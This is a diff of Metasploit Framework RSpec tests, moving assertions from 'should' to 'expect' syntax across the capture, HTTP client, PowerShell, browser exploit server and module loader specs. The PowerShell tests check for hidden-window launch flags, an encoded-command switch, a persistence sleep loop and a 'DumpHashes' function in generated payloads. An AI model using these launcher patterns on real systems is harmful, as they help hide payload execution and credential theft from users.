+++ b/spec/lib/msf/core/exploit/capture_spec.rb @@ -14,7 +14,7 @@ RSpec.describe Msf::Exploit::Capture do end it 'should be a kind of Msf::Exploit::Capture' do - subject.should be_a_kind_of Msf::Exploit::Capture + expect(subject).to be_a_kind_of Msf::Exploit::Capture end context '#capture_sendto' do @@ -33,8 +33,8 @@ RSpec.describe Msf::Exploit::Capture do it 'should return false if the destination MAC cannot be determined and broadcast is not desired' do allow(subject).to receive(:lookup_eth).and_return(nil) - subject.capture_sendto(payload, '127.0.0.1').should be_falsey - subject.capture_sendto(payload, '127.0.0.1', false).should be_falsey + expect(subject.capture_sendto(payload, '127.0.0.1')).to be_falsey + expect(subject.capture_sendto(payload, '127.0.0.1', false)).to be_falsey end it 'should return the correct number of bytes if the destination MAC cannot be determined and broadcast is desired' do @@ -62,7 +62,7 @@ RSpec.describe Msf::Exploit::Capture do end it 'should respond to open_pcap' do - subject.should respond_to :open_pcap + expect(subject).to respond_to :open_pcap end it 'should confirm that pcaprub is available', :skip => "Need to test this without stubbing check_pcaprub_loaded" do diff --git a/spec/lib/msf/core/exploit/http/client_spec.rb b/spec/lib/msf/core/exploit/http/client_spec.rb index 1701e33110..dc7705294d 100644 --- a/spec/lib/msf/core/exploit/http/client_spec.rb +++ b/spec/lib/msf/core/exploit/http/client_spec.rb @@ -38,7 +38,7 @@ RSpec.describe Msf::Exploit::Remote::HttpClient do subject end it "should return the rhost as the vhost" do - cli_rhost.datastore['VHOST'].should be_nil + expect(cli_rhost.datastore['VHOST']).to be_nil expect(cli_rhost.vhost).to eq rhost end end @@ -209,7 +209,7 @@ RSpec.describe Msf::Exploit::Remote::HttpClient do end it "should be empty" do - unnormalized_uri.should be_empty + expect(unnormalized_uri).to be_empty end it "should return '/'" do @@ -223,7 +223,7 @@ RSpec.describe Msf::Exploit::Remote::HttpClient do end it 'should be nil' do - unnormalized_uri.should be_nil + expect(unnormalized_uri).to be_nil end it "should return '/" do diff --git a/spec/lib/msf/core/exploit/powershell_spec.rb b/spec/lib/msf/core/exploit/powershell_spec.rb index cccbad02e6..331494b7a6 100644 --- a/spec/lib/msf/core/exploit/powershell_spec.rb +++ b/spec/lib/msf/core/exploit/powershell_spec.rb @@ -32,8 +32,8 @@ RSpec.describe Msf::Exploit::Powershell do describe "::encode_script" do it 'should read and encode a sample script file' do script = subject.encode_script(example_script) - script.should be - script.length.should be > 0 + expect(script).to be + expect(script.length).to be > 0 end end @@ -42,14 +42,14 @@ RSpec.describe Msf::Exploit::Powershell do it 'should create a compressed script' do script = File.read(example_script) compressed = subject.compress_script(script) - compressed.length.should be < script.length - compressed.include?('IO.Compression').should be_truthy + expect(compressed.length).to be < script.length + expect(compressed.include?('IO.Compression')).to be_truthy end it 'should create a compressed script with eof' do script = File.read(example_script) compressed = subject.compress_script(script, 'end_of_file') - compressed.include?('end_of_file').should be_truthy + expect(compressed.include?('end_of_file')).to be_truthy end end @@ -61,7 +61,7 @@ RSpec.describe Msf::Exploit::Powershell do it 'should strip comments' do script = File.read(example_script) compressed = subject.compress_script(script) - compressed.length.should be < script.length + expect(compressed.length).to be < script.length end end context 'when strip_comment is false' do @@ -72,7 +72,7 @@ RSpec.describe Msf::Exploit::Powershell do it 'shouldnt strip comments' do script = File.read(example_script) compressed = subject.compress_script(script) - compressed.length.should be < script.length + expect(compressed.length).to be < script.length end end @@ -85,7 +85,7 @@ RSpec.describe Msf::Exploit::Powershell do it 'should strip whitespace' do script = File.read(example_script) compressed = subject.compress_script(script) - decompress(compressed).length.should be < script.length + expect(decompress(compressed).length).to be < script.length end end @@ -110,7 +110,7 @@ RSpec.describe Msf::Exploit::Powershell do it 'should substitute variables' do script = File.read(example_script) compressed = subject.compress_script(script) - decompress(compressed).include?('$hashes').should be_falsey + expect(decompress(compressed).include?('$hashes')).to be_falsey end end @@ -122,7 +122,7 @@ RSpec.describe Msf::Exploit::Powershell do it 'shouldnt substitute variables' do script = File.read(example_script) compressed = subject.compress_script(script) - decompress(compressed).include?('$hashes').should be_truthy + expect(decompress(compressed).include?('$hashes')).to be_truthy end end @@ -134,7 +134,7 @@ RSpec.describe Msf::Exploit::Powershell do it 'should substitute functions' do script = File.read(example_script) compressed = subject.compress_script(script) - decompress(compressed).include?('DumpHashes').should be_falsey + expect(decompress(compressed).include?('DumpHashes')).to be_falsey end end @@ -146,7 +146,7 @@ RSpec.describe Msf::Exploit::Powershell do it 'shouldnt substitute variables' do script = File.read(example_script) compressed = subject.compress_script(script) - decompress(compressed).include?('DumpHashes').should be_truthy + expect(decompress(compressed).include?('DumpHashes')).to be_truthy end end end @@ -159,28 +159,28 @@ RSpec.describe Msf::Exploit::Powershell do context 'when x86 payload' do it 'should generate code' do code = subject.run_hidden_psh(payload, arch, encoded) - code.include?('syswow64').should be_truthy + expect(code.include?('syswow64')).to be_truthy end end context 'when x64 payload' do it 'should generate code' do code = subject.run_hidden_psh(payload, 'x86_64', encoded) - code.include?('sysnative').should be_truthy + expect(code.include?('sysnative')).to be_truthy end end context 'when encoded' do it 'should generate a code including an encoded command' do code = subject.run_hidden_psh(payload, arch, true) - code.include?('-nop -w hidden -e ').should be_truthy + expect(code.include?('-nop -w hidden -e ')).to be_truthy end end context 'when command' do it 'should generate code including a -c command' do code = subject.run_hidden_psh(payload, arch, encoded) - code.include?('-nop -w hidden -c ').should be_truthy + expect(code.include?('-nop -w hidden -c ')).to be_truthy end end @@ -191,7 +191,7 @@ RSpec.describe Msf::Exploit::Powershell do end it 'should generate a code including unshorted args' do code = subject.run_hidden_psh(payload, arch, encoded) - code.include?('-NoProfile -WindowStyle hidden -NoExit -Command ').should be_truthy + expect(code.include?('-NoProfile -WindowStyle hidden -NoExit -Command ')).to be_truthy end end end @@ -206,7 +206,7 @@ RSpec.describe Msf::Exploit::Powershell do except = true end - except.should be_truthy + expect(except).to be_truthy end end @@ -217,7 +217,7 @@ RSpec.describe Msf::Exploit::Powershell do end it 'should add a persistance loop' do code = subject.cmd_psh_payload(payload, arch) - decompress(code).include?('while(1){Start-Sleep -s ').should be_truthy + expect(decompress(code).include?('while(1){Start-Sleep -s ')).to be_truthy end end @@ -228,7 +228,7 @@ RSpec.describe Msf::Exploit::Powershell do end it 'shouldnt add a persistance loop' do code = subject.cmd_psh_payload(payload, arch) - decompress(code).include?('while(1){Start-Sleep -s ').should be_falsey + expect(decompress(code).include?('while(1){Start-Sleep -s ')).to be_falsey end end @@ -239,7 +239,7 @@ RSpec.describe Msf::Exploit::Powershell do end it 'should prepend sleep' do code = subject.cmd_psh_payload(payload, arch) - decompress(code).include?('Start-Sleep -s ').should be_truthy + expect(decompress(code).include?('Start-Sleep -s ')).to be_truthy end end @@ -250,7 +250,7 @@ RSpec.describe Msf::Exploit::Powershell do end it 'shouldnt prepend sleep' do code = subject.cmd_psh_payload(payload, arch) - decompress(code).include?('Start-Sleep -s ').should be_falsey + expect(decompress(code).include?('Start-Sleep -s ')).to be_falsey end end @@ -261,7 +261,7 @@ RSpec.describe Msf::Exploit::Powershell do end it 'shouldnt prepend sleep' do code = subject.cmd_psh_payload(payload, arch) - decompress(code).include?('Start-Sleep -s ').should be_falsey + expect(decompress(code).include?('Start-Sleep -s ')).to be_falsey end end @@ -272,15 +272,15 @@ RSpec.describe Msf::Exploit::Powershell do end it 'should generate a command line' do code = subject.cmd_psh_payload(payload, arch) - decompress(code).include?('-namespace Win32Functions').should be_truthy + expect(decompress(code).include?('-namespace Win32Functions')).to be_truthy end it 'shouldnt shorten args' do code = subject.cmd_psh_payload(payload, arch) - code.include?('-NoProfile -WindowStyle hidden -Command').should be_truthy + expect(code.include?('-NoProfile -WindowStyle hidden -Command')).to be_truthy end it 'should include -NoExit' do code = subject.cmd_psh_payload(payload, arch) - code.include?('-NoProfile -WindowStyle hidden -NoExit -Command').should be_truthy + expect(code.include?('-NoProfile -WindowStyle hidden -NoExit -Command')).to be_truthy end end @@ -291,7 +291,7 @@ RSpec.describe Msf::Exploit::Powershell do end it 'should generate a command line' do code = subject.cmd_psh_payload(payload, arch) - decompress(code).include?('System.Runtime.InteropServices;').should be_truthy + expect(decompress(code).include?('System.Runtime.InteropServices;')).to be_truthy end end @@ -302,7 +302,7 @@ RSpec.describe Msf::Exploit::Powershell do end it 'should generate a command line' do code = subject.cmd_psh_payload(payload, arch) - decompress(code).include?('GlobalAssemblyCache').should be_truthy + expect(decompress(code).include?('GlobalAssemblyCache')).to be_truthy end end @@ -318,7 +318,7 @@ RSpec.describe Msf::Exploit::Powershell do rescue RuntimeError except = true end - except.should be_truthy + expect(except).to be_truthy end end @@ -333,7 +333,7 @@ RSpec.describe Msf::Exploit::Powershell do rescue RuntimeError except = true end - except.should be_truthy + expect(except).to be_truthy end after do subject.datastore['Powershell::method'] = 'reflection' @@ -344,7 +344,7 @@ RSpec.describe Msf::Exploit::Powershell do context 'when encode_inner_payload' do it 'should contain an inner payload with -e' do code = subject.cmd_psh_payload(payload, arch, {:encode_inner_payload => true}) - code.include?(' -e ').should be_truthy + expect(code.include?(' -e ')).to be_truthy end context 'when no_equals is true' do @@ -355,7 +355,7 @@ RSpec.describe Msf::Exploit::Powershell do rescue RuntimeError except = true end - except.should be_truthy + expect(except).to be_truthy end end end @@ -364,16 +364,16 @@ RSpec.describe Msf::Exploit::Powershell do context 'when no_equals is false' do it 'should contain a final payload with -e' do code = subject.cmd_psh_payload(payload, arch, {:encode_final_payload => true, :no_equals => false}) - code.include?(' -e ').should be_truthy - code.include?(' -c ').should be_falsey + expect(code.include?(' -e ')).to be_truthy + expect(code.include?(' -c ')).to be_falsey end end context 'when no_equals is true' do it 'should contain a final payload with -e' do code = subject.cmd_psh_payload(payload, arch, {:encode_final_payload => true, :no_equals => true}) - code.include?(' -e ').should be_truthy - code.include?(' -c ').should be_falsey - code.include?('=').should be_falsey + expect(code.include?(' -e ')).to be_truthy + expect(code.include?(' -c ')).to be_falsey + expect(code.include?('=')).to be_falsey end end context 'when encode_inner_payload is true' do @@ -384,7 +384,7 @@ RSpec.describe Msf::Exploit::Powershell do rescue RuntimeError except = true end - except.should be_truthy + expect(except).to be_truthy end end end @@ -392,14 +392,14 @@ RSpec.describe Msf::Exploit::Powershell do context 'when remove_comspec' do it 'shouldnt contain %COMSPEC%' do code = subject.cmd_psh_payload(payload, arch, {:remove_comspec => true}) - code.include?('%COMSPEC%').should be_falsey + expect(code.include?('%COMSPEC%')).to be_falsey end end context 'when use single quotes' do it 'should wrap in single quotes' do code = subject.cmd_psh_payload(payload, arch, {:use_single_quotes => true}) - code.include?(' -c \'').should be_truthy + expect(code.include?(' -c \'')).to be_truthy end end end @@ -408,33 +408,33 @@ RSpec.describe Msf::Exploit::Powershell do it 'should contain no full stop when :no_full_stop' do opts = {:no_full_stop => true} command = subject.generate_psh_command_line(opts) - command.include?("powershell ").should be_truthy + expect(command.include?("powershell ")).to be_truthy end it 'should contain full stop unless :no_full_stop' do opts = {} command = subject.generate_psh_command_line(opts) - command.include?("powershell.exe ").should be_truthy + expect(command.include?("powershell.exe ")).to be_truthy opts = {:no_full_stop => false} command = subject.generate_psh_command_line(opts) - command.include?("powershell.exe ").should be_truthy + expect(command.include?("powershell.exe ")).to be_truthy end it 'should ensure the path should always ends with \\' do opts = {:path => "test"} command = subject.generate_psh_command_line(opts) - command.include?("test\\powershell.exe ").should be_truthy + expect(command.include?("test\\powershell.exe ")).to be_truthy opts = {:path => "test\\"} command = subject.generate_psh_command_line(opts) - command.include?("test\\powershell.exe ").should be_truthy + expect(command.include?("test\\powershell.exe ")).to be_truthy end end describe "::generate_psh_args" do it 'should return empty string for nil opts' do - subject.generate_psh_args(nil).should eql "" + expect(subject.generate_psh_args(nil)).to eql "" end command_args = [[:encodedcommand, "parp"], @@ -468,16 +468,16 @@ RSpec.describe Msf::Exploit::Powershell do short_args.should_not be_nil long_args.should_not be_nil - short_args.count('-').should eql opt_length - long_args.count('-').should eql opt_length + expect(short_args.count('-')).to eql opt_length + expect(long_args.count('-')).to eql opt_length short_args[0].should_not eql " " long_args[0].should_not eql " " short_args[-1].should_not eql " " long_args[-1].should_not eql " " if opts[:command] - long_args[-10..-1].should eql "-Command Z" - short_args[-4..-1].should eql "-c Z" + expect(long_args[-10..-1]).to eql "-Command Z" + expect(short_args[-4..-1]).to eql "-c Z" end end end diff --git a/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb b/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb index 9c941d6fe8..88f414a585 100644 --- a/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb +++ b/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb @@ -157,7 +157,7 @@ RSpec.describe Msf::Exploit::Remote::BrowserExploitServer do it "returns a target" do expected_object = double('Msf::Module::Target') server.instance_variable_set(:@target, expected_object) - server.get_target.should eq(expected_object) + expect(server.get_target).to eq(expected_object) end end diff --git a/spec/lib/msf/core/exploit/remote/firefox_addon_generator_spec.rb b/spec/lib/msf/core/exploit/remote/firefox_addon_generator_spec.rb index ed2c53a18d..86e54ecbe9 100644 --- a/spec/lib/msf/core/exploit/remote/firefox_addon_generator_spec.rb +++ b/spec/lib/msf/core/exploit/remote/firefox_addon_generator_spec.rb @@ -26,7 +26,7 @@ RSpec.describe Msf::Exploit::Remote::FirefoxAddonGenerator do it { should respond_to :generate_addon_xpi } it 'should return an instance of Rex::Zip::Archive' do - xpi.should be_kind_of Rex::Zip::Archive + expect(xpi).to be_kind_of Rex::Zip::Archive end end end diff --git a/spec/lib/msf/core/modules/loader/base_spec.rb b/spec/lib/msf/core/modules/loader/base_spec.rb index a97c508f68..e6f35d18f4 100644 --- a/spec/lib/msf/core/modules/loader/base_spec.rb +++ b/spec/lib/msf/core/modules/loader/base_spec.rb @@ -52,7 +52,7 @@ RSpec.describe Msf::Modules::Loader::Base do end it 'should be defined' do - described_class.const_defined?(:DIRECTORY_BY_TYPE).should be_truthy + expect(described_class.const_defined?(:DIRECTORY_BY_TYPE)).to be_truthy end it 'should map Msf::MODULE_AUX to auxiliary' do @@ -150,7 +150,7 @@ RSpec.describe Msf::Modules::Loader::Base do end error.should_not be_nil - error.backtrace[0].should include(module_path) + expect(error.backtrace[0]).to include(module_path) end end end @@ -181,24 +181,24 @@ RSpec.describe Msf::Modules::Loader::Base do context 'NAMESPACE_MODULE_NAMES' do it 'should be under Msf so that Msf constants resolve from lexical scope' do - described_class::NAMESPACE_MODULE_NAMES.should include('Msf') + expect(described_class::NAMESPACE_MODULE_NAMES).to include('Msf') end it "should not be directly under Msf so that modules don't collide with core namespaces" do direct_index = described_class::NAMESPACE_MODULE_NAMES.index('Msf') last_index = described_class::NAMESPACE_MODULE_NAMES.length - 1 - last_index.should > direct_index + expect(last_index).to > direct_index end end context 'UNIT_TEST_REGEX' do it 'should match test suite files' do - described_class::UNIT_TEST_REGEX.should match('rb.ts.rb') + expect(described_class::UNIT_TEST_REGEX).to match('rb.ts.rb') end it 'should match unit test files' do - described_class::UNIT_TEST_REGEX.should match('rb.ut.rb') + expect(described_class::UNIT_TEST_REGEX).to match('rb.ut.rb') end end end @@ -270,7 +270,7 @@ RSpec.describe Msf::Modules::Loader::Base do end it 'should return false if :force is false' do - subject.load_module(parent_path, type, module_reference_name, :force => false).should be_falsey + expect(subject.load_module(parent_path, type, module_reference_name, :force => false)).to be_falsey end it 'should not call #read_module_content' do @@ -339,7 +339,7 @@ RSpec.describe Msf::Modules::Loader::Base do allow(subject).to receive(:read_module_content).and_receive(module_content) - subject.load_module(parent_path, type, module_reference_name).should be_truthy + expect(subject.load_module(parent_path, type, module_reference_name)).to be_truthy expect(namespace_module.parent_path).to eq parent_path end @@ -349,7 +349,7 @@ RSpec.describe Msf::Modules::Loader::Base do expect(subject).to receive(:read_module_content).with(parent_path, type, module_reference_name).and_return(module_content) - subject.load_module(parent_path, type, module_reference_name).should be_truthy + expect(subject.load_module(parent_path, type, module_reference_name)).to be_truthy end it 'should call namespace_module.module_eval_with_lexical_scope with the module_path' do @@ -358,7 +358,7 @@ RSpec.describe Msf::Modules::Loader::Base do # if the module eval error includes the module_path then the module_path was passed along correctly expect(subject).to receive(:elog).with(/#{Regexp.escape(module_path)}/) - subject.load_module(parent_path, type, module_reference_name, :reload => true).should be_falsey + expect(subject.load_module(parent_path, type, module_reference_name, :reload => true)).to be_falsey end context 'with empty module content' do @@ -367,12 +367,12 @@ RSpec.describe Msf::Modules::Loader::Base do end it 'should return false' do - subject.load_module(parent_path, type, module_reference_name).should be_falsey + expect(subject.load_module(parent_path, type, module_reference_name)).to be_falsey end it 'should not attempt to make a new namespace_module' do subject.should_not_receive(:namespace_module_transaction) - subject.load_module(parent_path, type, module_reference_name).should be_falsey + expect(subject.load_module(parent_path, type, module_reference_name)).to be_falsey end end @@ -431,7 +431,7 @@ RSpec.describe Msf::Modules::Loader::Base do it 'should record the load error using the original error' do expect(subject).to receive(:load_error).with(module_path, error) - subject.load_module(parent_path, type, module_reference_name).should be_falsey + expect(subject.load_module(parent_path, type, module_reference_name)).to be_falsey end end @@ -462,14 +462,14 @@ RSpec.describe Msf::Modules::Loader::Base do it 'should record the load error using the Msf::Modules::VersionCompatibilityError' do expect(subject).to receive(:load_error).with(module_path, version_compatibility_error) - subject.load_module(parent_path, type, module_reference_name).should be_falsey + expect(subject.load_module(parent_path, type, module_reference_name)).to be_falsey end end it 'should return false' do expect(@namespace_module).to receive(:version_compatible!).with(module_path, module_reference_name) - subject.load_module(parent_path, type, module_reference_name).should be_falsey + expect(subject.load_module(parent_path, type, module_reference_name)).to be_falsey end end end @@ -525,11 +525,11 @@ RSpec.describe Msf::Modules::Loader::Base do it 'should record the load error' do expect(subject).to receive(:load_error).with(module_path, version_compatibility_error) - subject.load_module(parent_path, type, module_reference_name).should be_falsey + expect(subject.load_module(parent_path, type, module_reference_name)).to be_falsey end it 'should return false' do - subject.load_module(parent_path, type, module_reference_name).should be_falsey + expect(subject.load_module(parent_path, type, module_reference_name)).to be_falsey end it 'should restore the old namespace module' do @@ -563,16 +563,16 @@ RSpec.describe Msf::Modules::Loader::Base do module_path, kind_of(Msf::Modules::MetasploitClassCompatibilityError) ) - subject.load_module(parent_path, type, module_reference_name).should be_falsey + expect(subject.load_module(parent_path, type, module_reference_name)).to be_falsey end it 'should return false' do - subject.load_module(parent_path, type, module_reference_name).should be_falsey + expect(subject.load_module(parent_path, type, module_reference_name)).to be_falsey end it 'should restore the old namespace module' do - subject.load_module(parent_path, type, module_reference_name).should be_falsey - Msf::Modules.const_defined?(relative_name).should be_truthy + expect(subject.load_module(parent_path, type, module_reference_name)).to be_falsey + expect(Msf::Modules.const_defined?(relative_name)).to be_truthy expect(Msf::Modules.const_get(relative_name)).to eq @original_namespace_module end end @@ -588,7 +588,7 @@ RSpec.describe Msf::Modules::Loader::Base do it 'should check if it is usable' do expect(subject).to receive(:usable?).with(metasploit_class).and_return(true) - subject.load_module(parent_path, type, module_reference_name).should be_truthy + expect(subject.load_module(parent_path, type, module_reference_name)).to be_truthy end context 'without usable metasploit_class' do @@ -598,16 +598,16 @@ RSpec.describe Msf::Modules::Loader::Base do it 'should log information' do expect(subject).to receive(:ilog).with(/#{module_reference_name}/, 'core', LEV_1) - subject.load_module(parent_path, type, module_reference_name).should be_falsey + expect(subject.load_module(parent_path, type, module_reference_name)).to be_falsey end it 'should return false' do - subject.load_module(parent_path, type, module_reference_name).should be_falsey + expect(subject.load_module(parent_path, type, module_reference_name)).to be_falsey end it 'should restore the old namespace module' do - subject.load_module(parent_path, type, module_reference_name).should be_falsey - Msf::Modules.const_defined?(relative_name).should be_truthy + expect(subject.load_module(parent_path, type, module_reference_name)).to be_falsey + expect(Msf::Modules.const_defined?(relative_name)).to be_truthy expect(Msf::Modules.const_get(relative_name)).to eq @original_namespace_module end end @@ -620,7 +620,7 @@ RSpec.describe Msf::Modules::Loader::Base do it 'should log load information' do expect(subject).to receive(:ilog).with(/#{module_reference_name}/, 'core', LEV_2) - subject.load_module(parent_path, type, module_reference_name).should be_truthy + expect(subject.load_module(parent_path, type, module_reference_name)).to be_truthy end it 'should delete any pre-existing load errors from module_manager.module_load_error_by_path' do @@ -628,30 +628,32 @@ RSpec.describe Msf::Modules::Loader::Base do module_manager.module_load_error_by_path[module_path] = original_load_error expect(module_manager.module_load_error_by_path[module_path]).to eq original_load_error - subject.load_module(parent_path, type, module_reference_name).should be_truthy - module_manager.module_load_error_by_path[module_path].should be_nil + expect(subject.load_module(parent_path, type, module_reference_name)).to be_truthy + expect(module_manager.module_load_error_by_path[module_path]).to be_nil end it 'should return true' do - subject.load_module(parent_path, type, module_reference_name).should be_truthy + expect(subject.load_module(parent_path, type, module_reference_name)).to be_truthy end it 'should call module_manager.on_module_load' do expect(module_manager).to receive(:on_module_load) - subject.load_module(parent_path, type, module_reference_name).should be_truthy + expect(subject.load_module(parent_path, type, module_reference_name)).to be_truthy end context 'with :recalculate_by_type' do it 'should set the type to be recalculated' do recalculate_by_type = {} - subject.load_module( + expect( + subject.load_module( parent_path, type, module_reference_name, :recalculate_by_type => recalculate_by_type - ).should be_truthy - recalculate_by_type[type].should be_truthy + ) + ).to eq true + expect(recalculate_by_type[type]).to be_truthy end end @@ -659,13 +661,15 @@ RSpec.describe Msf::Modules::Loader::Base do it 'should set the count to 1 if it does not exist' do count_by_type = {} - count_by_type.has_key?(type).should be_falsey - subject.load_module( + expect(count_by_type.has_key?(type)).to be_falsey + expect( + subject.load_module( parent_path, type, module_reference_name, :count_by_type => count_by_type - ).should be_truthy + ) + ).to eq true expect(count_by_type[type]).to eq 1 end @@ -675,12 +679,14 @@ RSpec.describe Msf::Modules::Loader::Base do type => original_count } - subject.load_module( + expect( + subject.load_module( parent_path, type, module_reference_name, :count_by_type => count_by_type - ).should be_truthy + ) + ).to eq true incremented_count = original_count + 1 expect(count_by_type[type]).to eq incremented_count @@ -811,8 +817,8 @@ RSpec.describe Msf::Modules::Loader::Base do end it 'should return nil if the module is not defined' do - Msf::Modules.const_defined?(relative_name).should be_falsey - subject.send(:current_module, module_names).should be_nil + expect(Msf::Modules.const_defined?(relative_name)).to be_falsey + expect(subject.send(:current_module, module_names)).to be_nil end it 'should return the module if it is defined' do @@ -847,7 +853,7 @@ RSpec.describe Msf::Modules::Loader::Base do it 'should return false if path is hidden' do hidden_path = '.hidden/path/file.rb' - subject.send(:module_path?, hidden_path).should be_falsey + expect(subject.send(:module_path?, hidden_path)).to be_falsey end it 'should return false if the file extension is not MODULE_EXTENSION' do @@ -855,25 +861,25 @@ RSpec.describe Msf::Modules::Loader::Base do path = "path/with/wrong/extension#{non_module_extension}" expect(non_module_extension).not_to eq described_class::MODULE_EXTENSION - subject.send(:module_path?, path).should be_falsey + expect(subject.send(:module_path?, path)).to be_falsey end it 'should return false if the file is a unit test' do unit_test_extension = '.rb.ut.rb' path = "path/to/unit_test#{unit_test_extension}" - subject.send(:module_path?, path).should be_falsey + expect(subject.send(:module_path?, path)).to be_falsey end it 'should return false if the file is a test suite' do test_suite_extension = '.rb.ts.rb' path = "path/to/test_suite#{test_suite_extension}" - subject.send(:module_path?, path).should be_falsey + expect(subject.send(:module_path?, path)).to be_falsey end it 'should return true otherwise' do - subject.send(:module_path?, module_path).should be_truthy + expect(subject.send(:module_path?, module_path)).to be_truthy end end @@ -888,14 +894,14 @@ RSpec.describe Msf::Modules::Loader::Base do context '#namespace_module_name' do it 'should prefix the name with Msf::Modules::' do - subject.send(:namespace_module_name, module_full_name).should start_with('Msf::Modules::') + expect(subject.send(:namespace_module_name, module_full_name)).to start_with('Msf::Modules::') end it 'should prefix the relative name with Mod' do namespace_module_name = subject.send(:namespace_module_name, module_full_name) relative_name = namespace_module_name.gsub(/^.*::/, '') - relative_name.should start_with('Mod') + expect(relative_name).to start_with('Mod') end it 'should be reversible' do @@ -908,13 +914,13 @@ RSpec.describe Msf::Modules::Loader::Base do context '#namespace_module_names' do it "should prefix the array with ['Msf', 'Modules']" do - subject.send(:namespace_module_names, module_full_name).should start_with(['Msf', 'Modules']) + expect(subject.send(:namespace_module_names, module_full_name)).to start_with(['Msf', 'Modules']) end it 'should prefix the relative name with Mod' do namespace_module_names = subject.send(:namespace_module_names, module_full_name) - namespace_module_names.last.should start_with('Mod') + expect(namespace_module_names.last).to start_with('Mod') end it 'should be reversible' do @@ -1032,9 +1038,11 @@ RSpec.describe Msf::Modules::Loader::Base do end it 'should return false' do - subject.send(:namespace_module_transaction, module_full_name) { |namespace_module| - false - }.should be_falsey + expect( + subject.send(:namespace_module_transaction, module_full_name) { |namespace_module| + false + } + ).to eq false end end @@ -1053,9 +1061,11 @@ RSpec.describe Msf::Modules::Loader::Base do end it 'should return true' do - subject.send(:namespace_module_transaction, module_full_name) { |namespace_module| - true - }.should be_truthy + expect( + subject.send(:namespace_module_transaction, module_full_name) { |namespace_module| + true + } + ).to eq true end end end @@ -1089,18 +1099,18 @@ RSpec.describe Msf::Modules::Loader::Base do end it 'should remove the created namespace module' do - Msf::Modules.const_defined?(relative_name).should be_falsey + expect(Msf::Modules.const_defined?(relative_name)).to be_falsey begin subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| - Msf::Module.const_defined?(relative_name).should be_truthy + expect(Msf::Module.const_defined?(relative_name)).to be_truthy raise error_class, error_message end rescue error_class end - Msf::Modules.const_defined?(relative_name).should be_falsey + expect(Msf::Modules.const_defined?(relative_name)).to be_falsey end it 'should re-raise the error' do @@ -1114,46 +1124,50 @@ RSpec.describe Msf::Modules::Loader::Base do context 'with the block returning false' do it 'should remove the created namespace module' do - Msf::Modules.const_defined?(relative_name).should be_falsey + expect(Msf::Modules.const_defined?(relative_name)).to be_falsey subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| - Msf::Modules.const_defined?(relative_name).should be_truthy + expect(Msf::Modules.const_defined?(relative_name)).to be_truthy false end - Msf::Modules.const_defined?(relative_name).should be_falsey + expect(Msf::Modules.const_defined?(relative_name)).to be_falsey end it 'should return false' do - subject.send(:namespace_module_transaction, module_full_name) { |namespace_module| - false - }.should be_falsey + expect( + subject.send(:namespace_module_transaction, module_full_name) { |namespace_module| + false + } + ).to eq false end end context 'with the block returning true' do it 'should not restore the non-existent previous namespace module' do - Msf::Modules.const_defined?(relative_name).should be_falsey + expect(Msf::Modules.const_defined?(relative_name)).to be_falsey created_namespace_module = nil subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| - Msf::Modules.const_defined?(relative_name).should be_truthy + expect(Msf::Modules.const_defined?(relative_name)).to be_truthy created_namespace_module = namespace_module true end - Msf::Modules.const_defined?(relative_name).should be_truthy + expect(Msf::Modules.const_defined?(relative_name)).to be_truthy expect(Msf::Modules.const_get(relative_name)).to eq created_namespace_module end it 'should return true' do - subject.send(:namespace_module_transaction, module_full_name) { |namespace_module| - true - }.should be_truthy + expect( + subject.send(:namespace_module_transaction, module_full_name) { |namespace_module| + true + } + ).to eq true end end end @@ -1256,14 +1270,14 @@ RSpec.describe Msf::Modules::Loader::Base do include_context 'Metasploit::Framework::Spec::Constants cleaner' it 'should not change the constant' do - parent_module.const_defined?(relative_name).should be_truthy + expect(parent_module.const_defined?(relative_name)).to be_truthy current_module = parent_module.const_get(relative_name) expect(current_module).to eq @current_namespace_module subject.send(:restore_namespace_module, parent_module, relative_name, @current_namespace_module) - parent_module.const_defined?(relative_name).should be_truthy + expect(parent_module.const_defined?(relative_name)).to be_truthy restored_module = parent_module.const_get(relative_name) expect(restored_module).to eq current_module expect(restored_module).to eq @current_namespace_module @@ -1284,7 +1298,7 @@ RSpec.describe Msf::Modules::Loader::Base do include_context 'Metasploit::Framework::Spec::Constants cleaner' it 'should remove relative_name from parent_module' do - parent_module.const_defined?(relative_name).should be_truthy + expect(parent_module.const_defined?(relative_name)).to be_truthy expect(parent_module).to receive(:remove_const).with(relative_name).and_call_original expect(parent_module).to receive(:remove_const).with(relative_name.to_sym).and_call_original @@ -1306,11 +1320,11 @@ RSpec.describe Msf::Modules::Loader::Base do include_context 'Metasploit::Framework::Spec::Constants cleaner' it 'should set relative_name on parent_module to namespace_module' do - parent_module.const_defined?(relative_name).should be_falsey + expect(parent_module.const_defined?(relative_name)).to be_falsey subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module) - parent_module.const_defined?(relative_name).should be_truthy + expect(parent_module.const_defined?(relative_name)).to be_truthy expect(parent_module.const_get(relative_name)).to eq @original_namespace_module end end @@ -1332,7 +1346,7 @@ RSpec.describe Msf::Modules::Loader::Base do metasploit_class = double('Metasploit Class') metasploit_class.should_not respond_to(:is_usable) - subject.send(:usable?, metasploit_class).should be_truthy + expect(subject.send(:usable?, metasploit_class)).to be_truthy end end @@ -1365,7 +1379,7 @@ RSpec.describe Msf::Modules::Loader::Base do end it 'should return false' do - subject.send(:usable?, metasploit_class).should be_falsey + expect(subject.send(:usable?, metasploit_class)).to be_falsey end end end diff --git a/spec/lib/msf/core/modules/loader/directory_spec.rb b/spec/lib/msf/core/modules/loader/directory_spec.rb index 6c243a5949..70818f0104 100644 --- a/spec/lib/msf/core/modules/loader/directory_spec.rb +++ b/spec/lib/msf/core/modules/loader/directory_spec.rb @@ -53,7 +53,7 @@ RSpec.describe Msf::Modules::Loader::Directory do end it 'should load a module that can be created' do - subject.load_module(parent_path, type, module_reference_name).should be_truthy + expect(subject.load_module(parent_path, type, module_reference_name)).to be_truthy created_module = module_manager.create(module_full_name) @@ -76,7 +76,7 @@ RSpec.describe Msf::Modules::Loader::Directory do end it 'should not load the module' do - subject.load_module(parent_path, type, module_reference_name).should be_falsey + expect(subject.load_module(parent_path, type, module_reference_name)).to be_falsey end end @@ -91,7 +91,7 @@ RSpec.describe Msf::Modules::Loader::Directory do end it 'should not load the module' do - 